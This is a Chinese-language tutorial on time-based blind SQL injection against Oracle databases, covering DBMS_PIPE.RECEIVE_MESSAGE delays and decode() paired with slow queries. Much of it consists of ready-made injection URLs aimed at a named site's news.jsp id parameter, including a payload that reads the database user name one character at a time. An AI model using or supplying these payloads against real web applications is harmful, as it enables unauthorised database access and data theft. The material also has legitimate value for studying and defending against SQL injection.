0x00 前言
oracle注入中可以通過頁面響應的狀態,這里指的是響應時間,通過這種方式判斷SQL是否被執行的方式,便是時間盲注;
oracle的時間盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一種便是decode()與高耗時SQL操作的組合,當然也可以是case,if 等方式與高耗時操作的組合,這里的高耗時操作指的是,例如:(select count(*) from all_objects),對數據庫中大量數據進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,然后通過這個方式來獲取數據。這種方式也適用於其他數據庫。
0x01 DBMS_PIPE.RECEIVE_MESSAGE()函數延時盲注
DBMS_LOCK.SLEEP()函數可以讓一個過程休眠很多秒,但使用該函數存在許多限制。
首先,不能直接將該函數注入子查詢中,因為Oracle不支持堆疊查詢(stacked query)。其次,只有數據庫管理員才能使用DBMS_LOCK包。
在Oracle PL/SQL中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:
dbms_pipe.receive_message('RDS', 10)
DBMS_PIPE.RECEIVE_MESSAGE函數將為從RDS管道返回的數據等待10秒。默認情況下,允許以public權限執行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在SQL語句中的函數。
延遲盲注中的應用:
http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)-- http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--

如果頁面延時10秒返回,即存在注入。
0x02 decode函數延時盲注
decode不僅可以在布爾盲注中運用,也可以用在延遲盲注中。
在decode注入里加入延時語句。這里加入了我們的dbms_pipe.receive_message函數。
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) -- http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --

當然,這里延遲的操作不一定用延遲函數,也可以使用花費更多時間去查詢所有數據庫的條目。例如:
(select count(*) from all_objects)
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'

通過這種明顯時間差也能判斷注入表達式的結果。

